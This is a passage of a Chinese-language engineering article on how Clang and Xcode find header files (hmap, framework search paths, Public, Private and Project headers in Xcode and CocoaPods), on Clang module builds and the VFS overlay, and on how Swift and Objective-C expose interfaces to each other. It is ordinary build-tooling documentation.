        $(SDKROOT)/System/Library/Frameworks.(framework directory)

        當我們查找 Foundation/Foundation.h 這個文件的時候,我們會首先判斷是否存在 Foundation 這個 Framework。

        $SDKROOT/System/Library/Frameworks/Foundation.framework

        接著,我們會進入 Framework 的 Headers 文件夾里尋找對應的頭文件。

        $SDKROOT/System/Library/Frameworks/Foundation.framework/Headers/Foundation.h

        如果沒有找到對應的文件,索引過程會在此中斷,并結束查找。

        以上便是系統庫的頭文件搜索邏輯。

        Framework Search Path

        到現在為止,我們已經解釋了如何依賴 Header Search Path、hmap 等技術尋找頭文件的工作機制,也介紹了尋找系統庫(System Framework)頭文件的工作機制。

        那這是全部頭文件的搜索機制么?答案是否定的,其實我們還有一種頭文件搜索機制,它是基于 Framework 這種文件結構進行的。

        對于開發者自己的 Framework,可能會存在 "private" 頭文件,例如在 podspec 里用 private_header_files 的描述文件,這些文件在構建的時候,會被放在 Framework 文件結構中的 PrivateHeaders 目錄。

        所以針對有 PrivateHeaders 目錄的 Framework 而言,Clang 在檢查 Headers 目錄后,會去 PrivateHeaders 目錄中尋找是否存在匹配的頭文件,如果這兩個目錄都沒有,才會結束查找。

        $SDKROOT/System/Library/Frameworks/Foundation.framework/PrivateHeaders/SecretClass.h

        不過也正是因為這個工作機制,會產生一個特別有意思的問題,那就是當我們使用 Framework 的方式引入某個帶有 "Private" 頭文件的組件時,我們總是可以以下面的方式引入這個頭文件!

        怎么樣,是不是很神奇,這個被描述為 "Private" 的頭文件怎么就不私有了?

        究其原因,還是由于 Clang 的工作機制,那為什么 Clang 要設計出來這種看似很奇怪的工作機制呢?

        揭開 Public、Private、Project 的真實面目

        其實你也看到,我在上一段的寫作中,將所有 Private 單詞標上了雙引號,其實就是在暗示,我們曲解了 Private 的含義。

        那么這個 "Private" 到底是什么意思呢?

        在 Apple 官方的 Xcode Help - What are build phases? 文檔中,我們可以看到如下的一段解釋:

        Associates public, private, or project header files with the target. Public and private headers define API intended for use by other clients, and are copied into a product for installation. For example, public and private headers in a framework target are copied into Headers and PrivateHeaders subfolders within a product. Project headers define API used and built by a target, but not copied into a product. This phase can be used once per target.

        總的來說,我們可以知道一點,就是 Build Phases - Headers 中提到 Public 和 Private 是指可以供外界使用的頭文件,且分別放在最終產物的 Headers 和 PrivateHeaders 目錄中,而 Project 中的頭文件是不對外使用的,也不會放在最終的產物中。

        如果你繼續翻閱一些資料,例如 StackOverflow - Xcode: Copy Headers: Public vs. Private vs. Project?StackOverflow - Understanding Xcode's Copy Headers phase,你會發現在早期 Xcode Help 的 Project Editor 章節里,有一段名為 Setting the Role of a Header File 的段落,里面詳細記載了三個類型的區別。

        Public: The interface is finalized and meant to be used by your product’s clients. A public header is included in the product as readable source code without restriction.
        Private: The interface isn’t intended for your clients or it’s in early stages of development. A private header is included in the product, but it’s marked “private”. Thus the symbols are visible to all clients, but clients should understand that they're not supposed to use them.
        Project: The interface is for use only by implementation files in the current project. A project header is not included in the target, except in object code. The symbols are not visible to clients at all, only to you.

        至此,我們應該徹底了解了 Public、Private、Project 的區別。簡而言之,Public 還是通常意義上的 Public,Private 則代表 In Progress 的含義,至于 Project 才是通常意義上的 Private 含義。

        那么 CocoaPods 中 Podspec 的 Syntax 里還有 public_header_filesprivate_header_files 兩個字段,它們的真實含義是否和 Xcode 里的概念沖突呢?

        這里我們仔細閱讀一下官方文檔的解釋,尤其是 private_header_files 字段。

        我們可以看到,private_header_files 在這里的含義是說,它本身是相對于 Public 而言的,這些頭文件本義是不希望暴露給用戶使用的,而且也不會產生相關文檔,但是在構建的時候,會出現在最終產物中,只有既沒有被 Public 和 Private 標注的頭文件,才會被認為是真正的私有頭文件,且不出現在最終的產物里。

        其實這么看來,CocoaPods 對于 Public 和 Private 的理解是和 Xcode 中的描述一致的,兩處的 Private 并非我們通常理解的 Private,它的本意更應該是開發者準備對外開放,但又沒完全 Ready 的頭文件,更像一個 In Progress 的含義。

        所以,如果你真的不想對外暴露某些頭文件,請不要再使用 Headers 里的 Private 或者 podspec 里的 private_header_files 了。

        至此,我想你應該徹底理解了 Search Path 的搜索機制和略顯奇怪的 Public、Private、Project 設定了!

        基于 hmap 優化 Search Path 的策略

        在查找系統庫的頭文件的章節中,我們通過 -v 參數看到了尋找頭文件的搜索順序:

        #include "..." search starts here:
        XXX-generated-files.hmap (headermap)
        XXX-project-headers.hmap (headermap)
        
        #include <...> search starts here:
        XXX-own-target-headers.hmap (headermap)
        XXX-all-target-headers.hmap (headermap) 
        Header Search Path 
        DerivedSources
        Build/Products/Debug (framework directory)
        $(SDKROOT)/usr/include 
        $(SDKROOT)/System/Library/Frameworks(framework directory)

        假設,我們沒有開啟 hmap 的話,所有的搜索都會依賴 Header Search Path 或者 Framework Search Path,那這就會出現 3 種問題:

        • 第一個問題,在一些巨型項目中,假設依賴的組件有 400+,那此時的索引路徑就會達到 800+ 個(一份 Public 路徑,一份 Private 路徑),同時搜索操作可以看做是一種 IO 操作,而我們知道 IO 操作通常也是一種耗時操作,那么,這種大量的耗時操作必然會導致編譯耗時增加。
        • 第二個問題,在打包的過程中,如果 Header Search Path 過多過長,會觸發命令行過長的錯誤,進而導致命令執行失敗的情況。
        • 第三個問題,在引入系統庫的頭文件時,Clang 會將前面提到的目錄遍歷完才進入搜索系統庫的路徑,也就是 $(SDKROOT)/System/Library/Frameworks(framework directory),即前面的 Header Search 路徑越多,耗時也會越長,這是相當不劃算的。

        那如果我們開啟 hmap 后,是否就能解決掉所有的問題呢?

        實際上并不能,而且在基于 CocoaPods 管理項目的狀況下,又會帶來新的問題。下面是一個基于 CocoaPods 構建的全源碼工程項目,它的整體結構如下:

        首先,Host 和 Pod 是我們的兩個 Project,Pods 下的 Target 的產物類型為 Static Library。

        其次,Host 底下會有一個同名的 Target,而 Pods 目錄下會有 n+1 個 Target,其中 n 取決于你依賴的組件數量,而 1 是一個名為 Pods-XXX 的 Target,最后,Pods-XXX 這個 Target 的產物會被 Host 里的 Target 所依賴。

        整個結構看起來如下所示:

        此時我們將 PodA 里的文件全部放在 Header 的 Project 類型中。

        在基于 Framework 的搜索機制下,我們是無法以任何方式引入到 ClassB 的,因為它既不在 Headers 目錄,也不在 PrivateHeader 目錄中。

        可是如果我們開啟了 Use Header Map 后,由于 PodA 和 PodB 都在 Pods 這個 Project 下,滿足了 Header 的 Project 定義,通過 Xcode 自動生成的 hmap 文件會帶上這個路徑,所以我們還可以在 PodB 中以 #import "ClassB.h" 的方式引入。

        而這種行為,我想應該是大多數人并不想要的結果,所以一旦開啟了 Use Header Map,再結合 CocoaPods 管理工程項目的模式,我們極有可能會產生一些誤用私有頭文件的情況,而這個問題的本質是 Xcode 和 CocoaPods 在工程和頭文件上的理念沖突造成的。

        除此之外,CocoaPods 在處理頭文件的問題上還有一些讓人迷惑的地方,它在創建頭文件產物這塊的邏輯大致如下:

        • 在構建產物為 Framework 的情況下

          • 根據 podspec 里的 public_header_files 字段的內容,將相應頭文件設置為 Public 類型,并放在 Headers 中。
          • 根據 podspec 里的 private_header_files 字段的內容,將相應文件設置為 Private 類型,并放在 PrivateHeader 中。
          • 將其余未描述的頭文件設置為 Project 類型,且不放入最終的產物中。
          • 如果 podspec 里未標注 Public 和 Private 的時候,會將所有文件設置為 Public 類型,并放在 Header 中。
        • 在構建產物為 Static Library 的情況下

          • 不論 podspec 里如何設置 public_header_filesprivate_header_files,相應的頭文件都會被設置為 Project 類型。
          • Pods/Headers/Public 中會保存所有被聲明為 public_header_files 的頭文件。
          • Pods/Headers/Private 中會保存所有頭文件,不論是 public_header_files 或者 private_header_files 描述到,還是那些未被描述的,這個目錄下是當前組件的所有頭文件全集。
          • 如果 podspec 里未標注 Public 和 Private 的時候,Pods/Headers/PublicPods/Headers/Private 的內容一樣且會包含所有頭文件。

        正是由于這種機制,還導致了另外一種有意思的問題。

        在 Static Library 的狀況下,一旦我們開啟了 Use Header Map,結合組件里所有頭文件的類型為 Project 的情況,這個 hmap 里只會包含 #import "A.h" 的鍵值引用,也就是說只有 #import "A.h" 的方式才會命中 hmap 的策略,否則都將通過 Header Search Path 尋找其相關路徑。

        而我們也知道,在引用其他組件的時候,通常都會采用 #import <A/A.h> 的方式引入。至于為什么會用這種方式,一方面是這種寫法會明確頭文件的由來,避免問題,另一方面也是這種方式可以讓我們在是否開啟 Clang Module 中隨意切換,當然還有一點就是,Apple 在 WWDC 里曾經不止一次建議開發者使用這種方式來引入頭文件。

        接著上面的話題來說,所以說在 Static Library 的情況下且以 #import <A/A.h> 這種標準方式引入頭文件時,開啟 Use Header Map 并不會提升編譯速度,而這同樣是 Xcode 和 CocoaPods 在工程和頭文件上的理念沖突造成的。

        這樣來看的話,雖然 hmap 有種種優勢,但是在 CocoaPods 的世界里顯得格格不入,也無法發揮自身的優勢。

        那這就真的沒有辦法解決了么?

        當然,問題是有辦法解決的,我們完全可以自己動手做一個基于 CocoaPods 規則下的 hmap 文件。

        舉一個簡單的例子,通過遍歷 PODS 目錄里的內容去構建索引表內容,借助 hmap 工具生成 header map 文件,然后將 Cocoapods 在 Header Search Path 中生成的路徑刪除,只添加一條指向我們自己生成的 hmap 文件路徑,最后關閉 Xcode 的 Ues Header Map 功能,也就是 Xcode 自動生成 hmap 的功能,如此這般,我們就實現了一個簡單的,基于 CocoaPods 的 Header Map 功能。

        同時在這個基礎上,我們還可以借助這個功能實現不少管控手段,例如:

        • 從根本上杜絕私有文件被暴露的可能性。
        • 統一頭文件的引用形式
        • ...

        目前,我們已經自研了一套基于上述原理的 cocoapods 插件,它的名字叫做 cocoapods-hmap-prebuilt,是由筆者與同事共同開發的。

        說了這么多,讓我們看看它在實際工程中的使用效果!

        經過全源碼編譯的測試,我們可以看到該技術在提速上的收益較為明顯,以美團和點評 App 為例,全鏈路時長能夠提升 45% 以上,其中 Xcode 打包時間能提升 50%。

        關于第二個問題

        對于已開啟 Clang Module 特性的組件,Clang 是如何決定編譯當下組件的 Module 呢?另外構建的細節又是怎樣的,以及如何查找這些 Module 的?還有查找系統的 Module 和非系統的 Module 有什么區別么?

        首先,我們來明確一個問題, Clang 是如何決定編譯當下組件的 Module 呢?

        #import <Foundation/NSString.h> 為例,當我們遇到這個頭文件的時候:

        首先會去 Framework 的 Headers 目錄下尋找相應的頭文件是否存在,然后就會到 Modules 目錄下查找 modulemap 文件。

        此時,Clang 會去查閱 modulemap 里的內容,看看 NSString 是否為 Foundation 這個 Module 里的一部分。

        // Module Map - Foundation.framework/Modules/module.modulemap
        framework module Foundation [extern_c] [system] {
            umbrella header "Foundation.h"
            export *
            module * {
                export *
            }
        
            explicit module NSDebug {
                header "NSDebug.h"
                export *
            }
        }

        很顯然,這里通過 Umbrella Header,我們是可以在 Foundation.h 中找到 NSString.h 的。

        // Foundation.h
        …
        #import <Foundation/NSStream.h>
        #import <Foundation/NSString.h>
        #import <Foundation/NSTextCheckingResult.h>
        …

        至此,Clang 會判定 NSString.h 是 Foundation 這個 Module 的一部分并進行相應的編譯工作,此時也就意味著 #import <Foundation/NSString.h> 會從之前的 textual import 變為 module import。

        Module 的構建細節

        上面的內容解決了是否構建 Module,而這一塊我們會詳細闡述構建 Module 的過程!

        在構建開始前,Clang 會創建一個完全獨立的空間來構建 Module,在這個空間里會包含 Module 涉及的所有文件,除此之外不會帶入其他任何文件的信息,而這也是 Module 健壯性好的關鍵因素之一。

        不過,這并不意味著我們無法影響到 Module 的唯一性,真正能影響到其唯一性的是其構建的參數,也就是 Clang 命令后面的內容,關于這一點后面還會繼續展開,這里我們先點到為止。

        當我們在構建 Foundation 的時候,我們會發現 Foundation 自身要依賴一些組件,這意味著我們也需要構建被依賴組件的 Module。

        但很明顯的是,我們會發現這些被依賴組件也有自己的依賴關系,在它們的這些依賴關系中,極有可能會存在重復的引用。

        此時,Module 的復用機制就體現出來優勢了,我們可以復用先前構建出來的 Module,而不必一次次的創建或者引用,例如 Drawin 組件,而保存這些緩存文件的位置就是前面章節里提到的保存 pcm 類型文件的地方。

        先前我們提到了 Clang 命令的參數會真正影響到 Module 的唯一性,那具體的原理又是怎樣的?

        Clang 會將相應的編譯參數進行一次 Hash,將獲得的 Hash 值作為 Module 緩存文件夾的名稱,這里需要注意的是,不同的參數和值會導致文件夾不同,所以想要盡可能的利用 Module 緩存,就必須保證參數不發生變化。

        $ clang -fmodules —DENABLE_FEATURE=1 …
        ## 生成的目錄如下
        98XN8P5QH5OQ/
          CoreFoundation-2A5I5R2968COJ.pcm
          Security-1A229VWPAK67R.pcm
          Foundation-1RDF848B47PF4.pcm
          
        $ clang -fmodules —DENABLE_FEATURE=2 …
        ## 生成的目錄如下
        1GYDULU5XJRF/
          CoreFoundation-2A5I5R2968COJ.pcm
          Security-1A229VWPAK67R.pcm
          Foundation-1RDF848B47PF4.pcm

        這里我們大概了解了系統組件的 module 構建機制,這也是開啟 Enable Modules(C and Objective-C) 的核心工作原理。

        神秘的 Virtual File System(VFS)

        對于系統組件,我們可以在 /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator14.2.sdk/System/Library/Frameworks 目錄里找到它的身影,它的目錄結構大概是這樣的:

        也就是說,對于系統組件而言,構建 Module 的整個過程是建立在這樣一個完備的文件結構上,即在 Framework 的 Modules 目錄中查找 modulemap,在 Headers 目錄中加載頭文件。
        那對于用戶自己創建的組件,Clang 又是如何構建 Module 的呢?

        通常我們的開發目錄大概是下面的樣子,它并沒有 Modules 目錄,也沒有 Headers 目錄,更沒有 modulemap 文件,看起來和 Framework 的文件結構也有著極大的區別。

        在這種情況下,Clang 是沒法按照前面所說的機制去構建 Module 的,因為在這種文件結構中,壓根就沒有 Modules 和 Headers 目錄。

        為了解決這個問題,Clang 又提出了一個新的解決方案,叫做 Virtual File System(VFS)。

        簡單來說,通過這個技術,Clang 可以在現有的文件結構上虛擬出來一個 Framework 文件結構,進而讓 Clang 遵守前面提到的構建準則,順利完成 Module 的編譯,同時 VFS 也會記錄文件的真實位置,以便在出現問題的時候,將文件的真實信息暴露給用戶。

        為了進一步了解 VFS,我們還是從 Build Log 中查找一些細節!

        在上面的編譯參數里,我們可以找到一個 -ivfsoverlay 的參數,查看 Help 說明,可以知道其作用就是向編譯器傳遞一個 VFS 描述文件并覆蓋掉真實的文件結構信息。

        -ivfsoverlay <value>    Overlay the virtual filesystem described by file over the real file system

        順著這個線索,我們去看看這個參數指向的文件,它是一個 yaml 格式的文件,在將內容進行了一些裁剪后,它的核心內容如下:

        {
          "case-sensitive": "false",
          "version": 0,
          "roots": [
            {
              "name": "XXX/Debug-iphonesimulator/PodA/PodA.framework/Headers",
              "type": "directory",
              "contents": [
                { "name": "ClassA.h", "type": "file",
                  "external-contents": "XXX/PodA/PodA/Classes/ClassA.h"
                },
                ......
                { "name": "PodA-umbrella.h", "type": "file",
                  "external-contents": "XXX/Target Support Files/PodA/PodA-umbrella.h"
                }
              ]
            },
            {
              "contents": [
                "name": "XXX/Products/Debug-iphonesimulator/PodA/PodA.framework/Modules",
                "type": "directory"
                { "name": "module.modulemap", "type": "file",
                  "external-contents": "XXX/Debug-iphonesimulator/PodA.build/module.modulemap"
                }
              ]
            }
          ]
        }

        結合前面提到的內容,我們不難看出它在描述這樣一個文件結構:

        借用一個真實存在的文件夾來模擬 Framework 里的 Headers 文件夾,在這個 Headers 文件夾里有名為 PodA-umbrella.hClassA.h 等的文件,不過這幾個虛擬文件與 external-contents 指向的真實文件相關聯,同理還有 Modules 文件夾和它里面的 module.modulemap 文件。

        通過這樣的形式,一個虛擬的 Framework 目錄結構誕生了!此時 Clang 終于能按照前面的構建機制為用戶創建 Module 了!

        Swift 來了

        沒有頭文件的 Swift

        前面的章節,我們聊了很多 C 語言系的預編譯知識,在這個體系下,文件的編譯是分開的,當我們想引用其他文件里的內容時,就必須引入相應的頭文件。

        而對于 Swift 這門語言來說,它并沒有頭文件的概念,對于開發者而言,這確實省去了寫頭文件的重復工作,但這也意味著,編譯器會進行額外的操作來查找接口定義并需要持續關注接口的變化!

        為了更好的解釋 Swift 和 Objective-C 是如何尋找到彼此的方法聲明的,我們這里引入一個例子,在這個例子由三個部分組成:

        • 第一部分是一個 ViewController 的代碼,它里面包含了一個 View,其中 PetViewController 和 PetView 都是 Swift 代碼。
        • 第二部分是一個 App 的代理,它是 Objective-C 代碼。
        • 第三個部分是一段單測代碼,用來測試第一個部分中的 ViewController,它是 Swift 代碼。
        import UIKit
        class PetViewController: UIViewController {
          var view = PetView(name: "Fido", frame: frame)
          …
        }
        #import "PetWall-Swift.h"
        @implementation AppDelegate
        …
        @end
        @testable import PetWall
        class TestPetViewController: XCTestCase {
        }

        它們的關系大致如下所示:

        為了能讓這些代碼編譯成功,編譯器會面對如下 4 個場景:

        首先是尋找聲明,這包括尋找當前 Target 內的方法聲明(PetView),也包括來自 Objective-C 組件里的聲明(UIViewController 或者 PetKit)。

        然后是生成接口,這包括被 Objective-C 使用的接口,也包括被其他 Target (Unit Test)使用的 Swift 接口。

        第一步 - 如何尋找 Target 內部的 Swift 方法聲明

        在編譯 PetViewController.swift 時,編譯器需要知道 PetView 的初始化構造器的類型,才能檢查調用是否正確。

        此時,編譯器會加載 PetView.swift 文件并解析其中的內容, 這么做的目的就是確保初始化構造器真的存在,并拿到相關的類型信息,以便 PetViewController.swift 進行驗證。

        編譯器并不會對初始化構造器的內部做檢查,但它仍然會進行一些額外的操作,這是什么意思呢?

        與 Clang 編譯器不同的是,Swiftc 編譯的時候,會將相同 Target 里的其他 Swift 文件進行一次解析,用來檢查其中與被編譯文件關聯的接口部分是否符合預期。

        同時我們也知道,每個文件的編譯是獨立的,且不同文件的編譯是可以并行開展的,所以這就意味著每編譯一個文件,就需要將當前 Target 里的其余文件當做接口,重新編譯一次。等于任意一個文件,在整個編譯過程中,只有 1 次被作為生產 .o 產物的輸入,其余時間會被作為接口文件反復解析。

        不過在 Xcode 10 以后,Apple 對這種編譯流程進行了優化。

        在盡可能保證并行的同時,將文件進行了分組編譯,這樣就避免了 Group 內的文件重復解析,只有不同 Group 之間的文件會有重復解析文件的情況。

        而這個分組操作的邏輯,就是剛才提到的一些額外操作。

        至此,我們應該了解了 Target 內部是如何尋找 Swift 方法聲明的了。

        第二步 - 如何找到 Objective-C 組件里的方法聲明

        回到第一段代碼中,我們可以看到 PetViewController 是繼承自 UIViewController,而這也意味著我們的代碼會與 Objective-C 代碼進行交互,因為大部分系統庫,例如 UIKit 等,還是使用 Objective-C 編寫的。

        在這個問題上,Swift 采用了和其他語言不一樣的方案!

        通常來說,兩種不同的語言在混編時需要提供一個接口映射表,例如 JavaScript 和 TypeScript 混編時候的 .d.ts 文件,這樣 TypeScript 就能夠知道 JavaScript 方法在 TS 世界中的樣子。

        然而,Swift 不需要提供這樣的接口映射表, 免去了開發者為每個 Objective-C API 聲明其在 Swift 世界里樣子,那它是怎么做到的呢?

        很簡單,Swift 編譯器將 Clang 的大部分功能包含在其自身的代碼中,這就使得我們能夠以 Module 的形式,直接引用 Objective-C 的代碼。

        既然是通過 Module 的形式引入 Objective-C,那么 Framework 的文件結構則是最好的選擇,此時編譯器尋找方法聲明的方式就會有下面三種場景:

        • 對于大部分的 Target 而言,當導入的是一個 Objective-C 類型的 Framework 時,編譯器會通過 modulemap 里的 Header 信息尋找方法聲明。
        • 對于一個既有 Objective-C,又有 Swift 代碼的 Framework 而言,編譯器會從當前 Framework 的 Umbrella Header 中尋找方法聲明,從而解決自身的編譯問題,這是因為通常情況下 modulemap 會將 Umbrella Header 作為自身的 Header 值。
        • 對于 App 或者 Unit Test 類型的 Target,開發者可以通過為 Target 創建 Briding Header 來導入需要的 Objective-C 頭文件,進而找到需要的方法聲明。

        不過我們應該知道 Swift 編譯器在獲取 Objective-C 代碼過程中,并不是原原本本的將 Objective-C 的 API 暴露給 Swift,而是會做一些 “Swift 化” 的改動,例如下面的 Objective-C API 就會被轉換成更簡約的形式。

        這個轉換過程并不是什么高深的技術,它只是在編譯器上的硬編碼,如果感興趣,可以在 Swift 的開源庫中的找到相應的代碼 - PartsOfSpeech.def

        當然,編譯器也給與了開發者自行定義 “API 外貌” 的權利,如果你對這一塊感興趣,不妨閱讀我的另一篇文章 - WWDC20 10680 - Refine Objective-C frameworks for Swift,那里面包含了很多重塑 Objective-C API 的技巧。

        不過這里還是要提一句,如果你對生成的接口有困惑,可以通過下面的方式查看編譯器為 Objective-C 生成的 Swift 接口。

        第三步 - Target 內的 Swift 代碼是如何為 Objective-C 提供接口的

        前面講了 Swift 代碼是如何引用 Objective-C 的 API,那么 Objective-C 又是如何引用 Swift 的 API 呢?

        從使用層面來說,我們都知道 Swift 編譯器會幫我們自動生成一個頭文件,以便 Objective-C 引入相應的代碼,就像第二段代碼里引入的 PetWall-Swift.h 文件,這種頭文件通常是編譯器自動生成的,名字的構成是 組件名-Swift 的形式。

        但它到底是怎么產生的呢?

        在 Swift 中,如果某個類繼承了 NSObject 類且 API 被 @objc 關鍵字標注,就意味著它將暴露給 Objective-C 代碼使用。

        不過對于 App 和 Unit Test 類型的 target 而言,這個自動生成的 Header 會包含訪問級別為 Public 和 internal 的 API,這使得同一 Target 內的 Objective-C 代碼也能訪問 Swift 里 internal 類型的 API,這也是所有 Swift 代碼的默認訪問級別。

        但對于 Framework 類型的 Target 而言,Swift 自動生成的頭文件只會包含 Public 類型的 API,因為這個頭文件會被作為構建產物對外使用,所以像 internal 類型的 API 是不會包含在這個文件中。

        注意,這種機制會導致在 Framework 類型的 Target 中,如果 Swift 想暴露一些 API 給內部的 Objective-C 代碼使用,就意味著這些 API 也必須暴露給外界使用,即必須將其訪問級別設置為 Public。

        那么編譯器自動生成的 API 到底是什么樣子,有什么特點呢?

        上面是截取了一段自動生成的頭文件代碼,左側是原始的 Swift 代碼,右側是自動生成的 Objective-C 代碼,我們可以看到在 Objective-C 的類中,有一個名為 SWIFT_CLASS 的宏,將 Swift 與 Objective-C 中的兩個類進行了關聯。

        如果你稍加注意,就會發現關聯的一段亂碼中還綁定了當前的組件名(PetWall),這樣做的目的是避免兩個組件的同名類在運行時發生沖突。

        當然,你也可以通過向 @objc(Name) 關鍵字傳遞一個標識符,借由這個標識符來控制其在 Objective-C 中的名稱,如果這樣做的話,需要開發者確保轉換后的類名不與其他類名出現沖突。

        這大體上就是 Swift 如何像 Objective-C 暴露接口的機理了,如果你想更深入的了解這個文件的由來,就需要看看第四步。

        第四步 - Swift Target 如何生成供外部 Swift 使用的接口

        Swift 采用了 Clang module 的理念,并結合自身的語言特性進行了一系列的改進。

        在 Swift 中,Module 是方法聲明的分發單位,如果你想引用相應的方法,就必須引入對應的 Module,之前我們也提到了 Swift 的編譯器包含了 Clang 的大部分內容,所以它也是兼容 Clang Module 的。

        所以我們可以引入 Objective-C 的 Module,例如 XCTest,也可以引入 Swift Target 生成的 Module,例如 PetWall。

        import XCTest
        @testable import PetWall
        class TestPetViewController: XCTestCase {
          func testInitialPet() {
            let controller = PetViewController()
            XCTAssertEqual(controller.view.name, "Fido")
          }
        }

        在引入 swift 的 Module 后,編譯器會反序列化一個后綴名為 .swiftmodule 的文件,并通過這種文件里的內容來了解相關接口的信息。

        例如,以下圖為例,在這個單元測試中,編譯器會加載 PetWall 的 Module,并在其中找尋 PetViewController 的方法聲明,由此確保其創建行為是符合預期的。

        這看起來很像第一步中 Target 尋找內部 Swift 方法聲明的樣子,只不過這里將解析 Swift 文件的步驟,換成了解析 Swiftmodule 文件而已。

        不過需要注意的是,這個 Swfitmodule 文件并不是文本文件,它是一個二進制格式的內容,通常我們可以在構建產物的 Modules 文件夾里尋找到它的身影。

        在 Target 的編譯的過程中,面向整個 Target 的 Swiftmodule 文件并不是一下產生的,每一個 Swift 文件都會生成一個 Swiftmodule 文件,編譯器會將這些文件進行匯總,最后再生成一個完整的,代表整個 Target 的 Swiftmodule,也正是基于這個文件,編譯器構造出了用于給外部使用的 Objective-C 頭文件,也就是第三步里提到的頭文件。

        不過隨著 Swift 的發展,這一部分的工作機制也發生了些許變化。

        我們前面提到的 Swiftmodule 文件是一種二進制格式的文件,而這個文件格式會包含一些編譯器內部的數據結構,不同編譯器產生的 Swiftmodule 文件是互相不兼容的,這也就導致了不同 Xcode 構建出的產物是無法通用的,如果對這方面的細節感興趣,可以閱讀 Swift 社區里的兩篇官方 Blog:Evolving Swift On Apple Platforms After ABI StabilityABI Stability and More,這里就不展開討論了。

        為了解決這一問題,Apple 在 Xcode 11 的 Build Setting 中提供了一個新的編譯參數 Build Libraries for Distribution,正如這個編譯參數的名稱一樣,當我們開啟它后,構建出來的產物不會再受編譯器版本的影響,那它是怎么做到這一點的呢?

        為了解決這種對編譯器的版本依賴,Xcode 在構建產物上提供了一個新的產物,Swiftinterface 文件。

        這個文件里的內容和 Swiftmodule 很相似,都是當前 Module 里的 API 信息,不過 Swiftinterface 是以文本的方式記錄,而非 Swiftmodule 的二進制方式。

        這就使得 Swiftinterface 的行為和源代碼一樣,后續版本的 Swift 編譯器也能導入之前編譯器創建的 Swiftinterface 文件,像使用源碼的方式一樣使用它。

        為了更進一步了解它,我們來看看 Swiftinterface 的真實樣子,下面是一個 .swift 文件和 .swiftinterface 文件的比對圖。

        在 Swiftinterface 文件中,有以下點需要注意

        • 文件會包含一些元信息,例如文件格式版本,編譯器信息,和 Swift 編譯器將其作為模塊導入所需的命令行子集。
        • 文件只會包含 Public 的接口,而不會包含 Private 的接口,例如 currentLocation。
        • 文件只會包含方法聲明,而不會包含方法實現,例如 Spacesship 的 init、fly 等方法。
        • 文件會包含所有隱式聲明的方法,例如 Spacesship 的 deinit 方法 ,Speed 的 Hashable 協議。

        總的來說,Swiftinterface 文件會在編譯器的各個版本中保持穩定,主要原因就是這個接口文件會包含接口層面的一切信息,不需要編譯器再做任何的推斷或者假設。

        好了,至此我們應該了解了 Swift Target 是如何生成供外部 Swift 使用的接口了。

        這四步意味著什么?

        此 Module 非彼 Module

        通過上面的例子,我想大家應該能清楚的感受到 Swift Module 和 Clang Module 不完全是一個東西,雖然它們有很多相似的地方。

        Clang Module 是面向 C 語言家族的一種技術,通過 modulemap 文件來組織 .h 文件中的接口信息,中間產物是二進制格式的 pcm 文件。

        Swift Module 是面向 Swift 語言的一種技術,通過 Swiftinterface 文件來組織 .swift 文件中的接口信息,中間產物二進制格式的 Swiftmodule 文件。

        所以說理清楚這些概念和關系后,我們在構建 Swift 組件的產物時,就會知道哪些文件和參數不是必須的了。

        例如當你的 Swift 組件不想暴露自身的 API 給外部的 Objective-C 代碼使用的話,可以將 Build Setting 中 Swift Compiler - General 里的 Install Objective-C Compatiblity Header 參數設置為 NO,其編譯參數為 SWIFT_INSTALL_OBJC_HEADER,此時不會生成 <ProductModuleName>-Swift.h 類型的文件,也就意味著外部組件無法以 Objective-C 的方式引用組件內 Swift 代碼的 API。

        而當你的組件里如果壓根就沒有 Objective-C 代碼的時候,你可以將 Build Setting 中 Packaging 里 Defines Module 參數設置為 NO,它的編譯參數為 DEFINES_MODULE, 此時不會生成 <ProductModuleName>.modulemap 類型的文件。

        Swift 和 Objective-C 混編的三個“套路”

        基于剛才的例子,我們應該理解了 Swift 在編譯時是如何找到其他 API 的,以及它又是如何暴露自身 API 的,而這些知識就是解決混編過程中的基礎知識,為了加深影響,我們可以將其繪制成 3 個流程圖。

        當 Swift 和 Objective-C 文件同時在一個 App 或者 Unit Test 類型的 Target 中,不同類型文件的 API 尋找機制如下:

        當 Swift 和 Objective-C 文件在不同 Target 中,例如不同 Framework 中,不同類型文件的 API 尋找機制如下:

        當 Swift 和 Objective-C 文件同時在一個Target 中,例如同一 Framework 中,不同類型文件的 API 尋找機制如下:

        對于第三個流程圖,需要做以下補充說明:

        • 由于 Swiftc,也就是 Swift 的編譯器,包含了大部分的 Clang 功能,其中就包含了 Clang Module,借由組件內已有的 modulemap 文件,Swift 編譯器就可以輕松找到相應的 Objective-C 代碼。
        • 相比于第二個流程而言,第三個流程中的 modulemap 是組件內部的,而第二個流程中,如果想引用其他組件里的 Objective-C 代碼,需要引入其他組件里的 modulemap 文件才可以。
        • 所以基于這個考慮,并未在流程 3 中標注 modulemap。

        構建 Swift 產物的新思路

        在前面的章節里,我們提到了 Swift 找尋 Objective-C 的方式,其中提到了,除了 App 或者 Unit Test 類型的 Target 外,其余的情況下都是通過 Framework 的 Module Map 來尋找 Objective-C 的 API,那么如果我們不想使用 Framework 的形式呢?

        目前來看,這個在 Xcode 中是無法直接實現的,原因很簡單,Build Setting 中 Search Path 選項里并沒有 modulemap 的 Search Path 配置參數。

        為什么一定需要 modulemap 的 Search Path 呢?

        基于前面了解到的內容,Swiftc 包含了 Clang 的大部分邏輯,在預編譯方面,Swiftc 只包含了 Clang Module 的模式,而沒有其他模式,所以 Objective-C 想要暴露自己的 API 就必須通過 modulemap 來完成。

        而對于 Framework 這種標準的文件夾結構,modulemap 文件的相對路徑是固定的,它就在 Modules 目錄中,所以 Xcode 基于這種標準結構,直接內置了相關的邏輯,而不需要將這些配置再暴露出來。

        從組件的開發者角度來看,他只需要關心 modulemap 的內容是否符合預期,以及路徑是否符合規范。

        從組件的使用者角度來看,他只需要正確的引入相應的 Framework 就可以使用到相應的 API。

        這種只需要配置 Framework 的方式,避免了配置 Header Search Path,也避免了配置 Static Library Path,可以說是一種很友好的方式,如果再將 modulemap 的配置開放出來,反而顯得多此一舉。

        那如果我們拋開 Xcode,拋開 Framework 的限制,還有別的辦法構建 Swift 產物么?

        答案是肯定有的,這就需要借助前面所說的 VFS 技術!

        假設我們的文件結構如下所示:

        ├── LaunchPoint.swift
        ├── README.md
        ├── build
        ├── repo
        │   └── MyObjcPod
        │       └── UsefulClass.h
        └── tmp
            ├── module.modulemap
            └── vfs-overlay.yaml

